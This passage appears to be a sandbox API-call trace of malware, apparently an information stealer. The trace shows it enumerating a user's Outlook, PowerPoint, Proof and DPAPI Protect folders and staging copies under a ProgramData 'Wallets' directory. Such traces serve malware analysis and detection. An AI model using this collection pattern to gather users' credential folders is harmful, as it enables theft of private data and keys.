lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Outlook\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Outlook\\." [0052.282] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.282] FindNextFileW (in: hFindFile=0x58a040, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.282] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook" [0052.282] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\" [0052.282] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\.." [0052.282] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Outlook" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Outlook") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Outlook" [0052.282] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Outlook", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Outlook\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Outlook\\" [0052.282] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Outlook\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Outlook\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Outlook\\.." [0052.283] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.283] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.283] FindNextFileW (in: hFindFile=0x58a040, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.283] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook" [0052.283] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\" [0052.283] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\", lpString2="Outlook.srs" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.srs" [0052.283] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Outlook" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Outlook") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Outlook" [0052.283] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Outlook", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Outlook\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Outlook\\" [0052.283] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Outlook\\", lpString2="Outlook.srs" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Outlook\\Outlook.srs") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Outlook\\Outlook.srs" [0052.283] FindNextFileW (in: hFindFile=0x58a040, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.283] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook" [0052.283] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\" [0052.283] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\", lpString2="Outlook.xml" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Outlook\\Outlook.xml" [0052.283] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Outlook" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Outlook") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Outlook" [0052.283] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Outlook", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Outlook\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Outlook\\" [0052.283] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Outlook\\", lpString2="Outlook.xml" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Outlook\\Outlook.xml") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Outlook\\Outlook.xml" [0052.283] FindNextFileW (in: hFindFile=0x58a040, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0 [0052.283] FindClose (in: hFindFile=0x58a040 | out: hFindFile=0x58a040) returned 1 [0052.283] FindNextFileW (in: hFindFile=0x58a580, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 1 [0052.283] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" [0052.283] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\" [0052.283] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="PowerPoint" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint" [0052.283] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" [0052.283] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\" [0052.283] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\", lpString2="PowerPoint" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\PowerPoint") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\PowerPoint" [0052.283] lstrcmpW (lpString1="PowerPoint", lpString2=".") returned 1 [0052.283] lstrcmpW (lpString1="PowerPoint", lpString2="..") returned 1 [0052.283] lstrcpyW (in: lpString1=0x19e0f0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint" [0052.283] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\*.*" [0052.283] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\*.*", lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0x589e00 [0052.284] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint" [0052.284] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\" [0052.284] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\." [0052.284] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\PowerPoint" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\PowerPoint") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\PowerPoint" [0052.284] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\PowerPoint", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\PowerPoint\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\PowerPoint\\" [0052.284] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\PowerPoint\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\PowerPoint\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\PowerPoint\\." [0052.284] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.284] FindNextFileW (in: hFindFile=0x589e00, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.284] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint" [0052.284] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\" [0052.284] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\PowerPoint\\.." [0052.284] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\PowerPoint" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\PowerPoint") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\PowerPoint" [0052.284] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\PowerPoint", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\PowerPoint\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\PowerPoint\\" [0052.284] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\PowerPoint\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\PowerPoint\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\PowerPoint\\.." [0052.284] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.284] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.284] FindNextFileW (in: hFindFile=0x589e00, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0 [0052.284] FindClose (in: hFindFile=0x589e00 | out: hFindFile=0x589e00) returned 1 [0052.284] FindNextFileW (in: hFindFile=0x58a580, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 1 [0052.284] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" [0052.284] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\" [0052.284] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Proof" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof" [0052.284] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" [0052.284] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\" [0052.284] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\", lpString2="Proof" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Proof") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Proof" [0052.284] lstrcmpW (lpString1="Proof", lpString2=".") returned 1 [0052.284] lstrcmpW (lpString1="Proof", lpString2="..") returned 1 [0052.284] lstrcpyW (in: lpString1=0x19e0f0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof" [0052.284] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\*.*" [0052.284] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\*.*", lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0x58a4c0 [0052.285] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof" [0052.285] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\" [0052.285] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\." [0052.285] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Proof" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Proof") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Proof" [0052.285] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Proof", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Proof\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Proof\\" [0052.285] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Proof\\", lpString2="." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Proof\\.") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Proof\\." [0052.285] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0052.285] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 1 [0052.285] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof" [0052.285] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\" [0052.285] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\", lpString2=".." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\..") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Proof\\.." [0052.285] lstrcpyW (in: lpString1=0x19e2fc, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Proof" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Proof") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Proof" [0052.285] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Proof", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Proof\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Proof\\" [0052.285] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Proof\\", lpString2=".." | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Proof\\..") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Proof\\.." [0052.285] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0052.286] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0052.286] FindNextFileW (in: hFindFile=0x58a4c0, lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0 [0052.286] FindClose (in: hFindFile=0x58a4c0 | out: hFindFile=0x58a4c0) returned 1 [0052.286] FindNextFileW (in: hFindFile=0x58a580, lpFindFileData=0x19e774 | out: lpFindFileData=0x19e774) returned 1 [0052.286] lstrcpyW (in: lpString1=0x19ee4c, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft" [0052.286] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\" [0052.286] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\", lpString2="Protect" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect" [0052.286] lstrcpyW (in: lpString1=0x19ec40, lpString2="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft" [0052.286] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft", lpString2="\\" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\" [0052.286] lstrcatW (in: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\", lpString2="Protect" | out: lpString1="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect") returned="C:\\ProgramData\\Z7OY7O0XPWLXM7M23RJK\\files\\Wallets\\Microsoft\\Protect" [0052.286] lstrcmpW (lpString1="Protect", lpString2=".") returned 1 [0052.286] lstrcmpW (lpString1="Protect", lpString2="..") returned 1 [0052.286] lstrcpyW (in: lpString1=0x19e0f0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect" [0052.286] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\*.*" [0052.286] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\*.*", lpFindFileData=0x19de30 | out: lpFindFileData=0x19de30) returned 0x589fc0 [0052.286] lstrcpyW (in: lpString1=0x19e508, lpString2="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect" [0052.286] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\" [0052.286] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\", lpString2="." | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\.") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Protect\\." [0052.286] lstrcpyW (in: 